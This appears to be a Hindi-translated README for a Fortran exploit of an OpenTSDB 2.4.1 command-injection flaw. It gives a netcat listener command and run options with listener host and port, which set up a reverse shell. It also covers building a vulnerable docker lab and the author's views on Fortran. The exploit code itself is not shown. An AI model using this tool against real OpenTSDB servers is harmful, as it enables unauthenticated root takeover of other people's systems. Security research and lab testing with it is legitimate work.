
OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) के लिए Fortran में लिखा गया एक एक्सप्लॉइट।
OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) के लिए Fortran में लिखा गया एक एक्सप्लॉयट
यह OpenTSDB के संस्करण 2.4.1 और उससे पहले के संस्करणों में मौजूद कमांड इंजेक्शन भेद्यता (CVE-2023-36812/CVE-2023-25826) के लिए एक एक्सप्लॉयट है। यह एक्सप्लॉयट आधुनिक Fortran में लिखा गया है और इस वर्ष की शुरुआत में बनाई गई आधिकारिक Fortran http-client लाइब्रेरी का उपयोग करता है।
OpenTSDB Java में लिखा गया एक ओपन-सोर्स टाइम सीरीज़ डेटाबेस है। 2020 में, संस्करण 2.4.0 और उससे पहले के संस्करणों में एक कमांड इंजेक्शन भेद्यता खोजी गई थी, जिसका उपयोग होस्ट पर रूट विशेषाधिकारों के साथ रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता था। चूँकि OpenTSDB प्रमाणीकरण का समर्थन नहीं करता है, यह भेद्यता, जिसे CVE-2020-35476 के रूप में ट्रैक किया गया है, OpenTSDB वेब इंटरफ़ेस तक पहुँच रखने वाला कोई भी व्यक्ति exploit कर सकता था। यह समस्या संस्करण 2.4.1 में ठीक कर दी गई थी।
इस वर्ष पता चला कि CVE-2020-35476 के लिए पैच अधूरा था, और OpenTSDB 2.4.1 में कई वैक्टरों के माध्यम से कमांड इंजेक्शन अभी भी संभव है।
विवरण:
संक्षिप्त संस्करण यह है कि मैंने यह बातचीत देखी:

चाँद पर लोगों को भेजने के लिए इस्तेमाल की गई प्रोग्रामिंग भाषा में एक एक्सप्लॉयट लिखने का विचार मुझे इतना दिलचस्प लगा कि मुझे इसे स्वयं आज़माना पड़ा। यह एक्सप्लॉयट उस प्रयोग का परिणाम है। इस सवाल पर कि क्या यह सफल रहा, मैं केवल इन बुद्धिमान, फिर भी अभिशप्त शब्दों के साथ उत्तर दे सकता हूँ जो सभी डेवलपर्स को रक्त-बंधन में बाँधते हैं: यह मेरी मशीन पर काम करता है। ¯\(ツ)/¯
किसी भी मामले में, इस प्रोजेक्ट से मेरे मुख्य निष्कर्ष हैं:
कुल मिलाकर, यह कल्पना करना आसान नहीं है कि यह भाषा offensive security के भीतर वास्तव में महत्व प्राप्त करेगी, अगर केवल इसलिए कि किसी भी कल्पनीय उपयोग के मामले के लिए बहुत सारे ठोस, आधुनिक विकल्प मौजूद हैं (कुछ नाम लेने के लिए Python, Go, Rust, Ruby, C#)। लेकिन अगर आपको विभिन्न प्रोग्रामिंग भाषाओं के साथ प्रयोग करना पसंद है और आपको अपने स्ट्रिंग्स को हर समय trim() कॉल में लपेटने में कोई आपत्ति नहीं है (कृपया इस पर ध्यान दें, यह आपको बहुत पीड़ा से बचाएगा), तो Fortran को आज़माना निश्चित रूप से उचित है। मैं अब वास्तव में इस भाषा का समर्थन कर रहा हूँ और अगर वे http-client लाइब्रेरी में समर्थन जोड़ते रहें तो मैं इसे फिर से देख सकता हूँ, खासकर अगर वे किसी बिंदु पर एक http-server लाइब्रेरी जोड़ते हैं।
TL;DR: Fortran http-client lib goes brr.
nc -nlvp 1337
opentsdb_key_cmd_injection निर्देशिका पर जाएँ# cd /path/to/opentsdb_key_cmd_injection/
fpm के माध्यम से प्रोजेक्ट चलाएँ (पहले इसे इंस्टॉल करना सुनिश्चित करें। अगले अनुभाग में इंस्टॉलेशन निर्देश देखें)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
विकल्प:
-t - TARGET URL: OpenTSDB का बेस URL (आवश्यक)-l - LHOST: उस सिस्टम का IP जहाँ आप listener चला रहे हैं (आवश्यक)-p - LPORT: listener पोर्ट (आवश्यक)-v - VERBOSE: विस्तृत (verbose) प्रिंटिंग सक्षम करें (वैकल्पिक)gfortran इंस्टॉल करें। Debian-आधारित सिस्टम पर यह इस प्रकार किया जा सकता है:apt install gfortran
chmod +x /<path>/to/fpm
fpm इंस्टॉल करने से पहले सुनिश्चित करें कि आपके सिस्टम पर git इंस्टॉल है।
मैन्युअल इंस्टॉलेशन के लिए, आप आधिकारिक इंस्टॉलेशन निर्देश यहाँ का पालन कर सकते हैं। हालाँकि यह काफी कष्टप्रद हो सकता है, इसलिए मैं इसके बजाय docker का उपयोग करने की सलाह दूँगा।
संस्करण 2.4.0 के लिए, आप vulnhub docker छवि का उपयोग कर सकते हैं और इंस्टॉलेशन निर्देश यहाँ का पालन कर सकते हैं। वह छवि CVE-2020-35476 के लिए बनाई गई थी, जो OpenTSDB 2.4.0 तक एक पुरानी भेद्यता है।
संस्करण 2.4.1 और संभवतः किसी भी अन्य संस्करण के लिए, आप OpenTSDB 2.4.0 के लिए vulhub छवि का लाभ उठा सकते हैं और जिस संस्करण को आप चाहते हैं उसे इंस्टॉल करने के लिए उसे संपादित कर सकते हैं। मैंने 2.4.1 के लिए इस दृष्टिकोण का पालन किया और यह बढ़िया काम किया।
Dockerfile और docker-entrypoint.sh फ़ाइलों को प्राप्त करें और उन्हें एक समर्पित निर्देशिका में रखें।Dockerfile में, 2.4.0 के सभी उदाहरणों को अपने इच्छित संस्करण, जैसे 2.4.1 से बदलें।docker-entrypoint.sh के लिए किसी संपादन की आवश्यकता नहीं है।docker-compose.yml फ़ाइल बनाएँ:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml फ़ाइल वाली निर्देशिका में नीचे दिए गए कमांड को चलाकर docker-compose के माध्यम से छवि बनाएँ और चलाएँ:docker-compose up -d
Fortran को अधिकतर एक पुरातन भाषा के रूप में जाना जाता है जिसने आधुनिक कंप्यूटिंग के इतिहास में महत्वपूर्ण भूमिका निभाई, लेकिन आज इसे प्रासंगिक नहीं माना जा सकता। इसे पहली बार 1957 में जारी किया गया था, जो ARPANET और Unix दोनों से एक दशक से अधिक पहले था। इस टाइम-सीरीज़ डेटा वीडियो के आधार पर, यह 1960 और 1970 के दशक में प्रमुख प्रोग्रामिंग भाषा थी, और 1990 के दशक के अंत तक 10 सबसे लोकप्रिय भाषाओं में बनी रही। लेकिन जब तक Windows 98 जारी हुआ, यह स्पष्ट रूप से फैशन से बाहर हो चुकी थी, जिसकी जगह C, C++, Java और JavaScript जैसी अधिक आधुनिक भाषाओं ने ले ली थी, जो आज भी व्यापक रूप से उपयोग की जाती हैं।
लेगसी सिस्टम संभालने वाले बहादुर लोगों के अलावा, मुझे संदेह है कि आईटी में बहुत से लोगों (हमारे दायरे से बाहर तो छोड़ ही दीजिए) ने पिछले दो दशकों में Fortran का सामना किया है, या यह भी जानते हैं कि यह अभी भी मौजूद है। इसके बावजूद, Fortran सक्रिय विकास के अधीन है। जैसा कि आधिकारिक Fortran वेबसाइट पर कहा गया है, भाषा में अंतिम संशोधन 2018 में हुआ था, और हमें उम्मीद है कि इस वर्ष (2023) एक और संशोधन देखने को मिलेगा। वास्तव में, ऐसा लगता है कि Fortran समुदाय पिछले कुछ वर्षों में बहुत सक्रिय रहा है, और इकोसिस्टम को आधुनिक बनाने में मदद के लिए कई प्रमुख प्रोजेक्ट जारी किए हैं, जिनमें शामिल हैं:
इसे देखते हुए, ऐसा प्रतीत होता है कि अनुरक्षक किसी तरह Fortran की वापसी का लक्ष्य बना रहे हैं, या कम से कम भाषा को कुछ और दशकों तक जीवित रहने का मौका देना चाहते हैं। जबकि सबसे कट्टर Fortran प्रशंसक को भी शायद यह उम्मीद नहीं है कि यह भाषा फिर कभी सबसे लोकप्रिय प्रोग्रामिंग भाषाओं की शीर्ष 10 सूची में शामिल होगी, भाषा और उसके इकोसिस्टम के चल रहे आधुनिकीकरण ने संभवतः Fortran को पिछले एक या दो दशकों की तुलना में अधिक प्रासंगिक बना दिया है।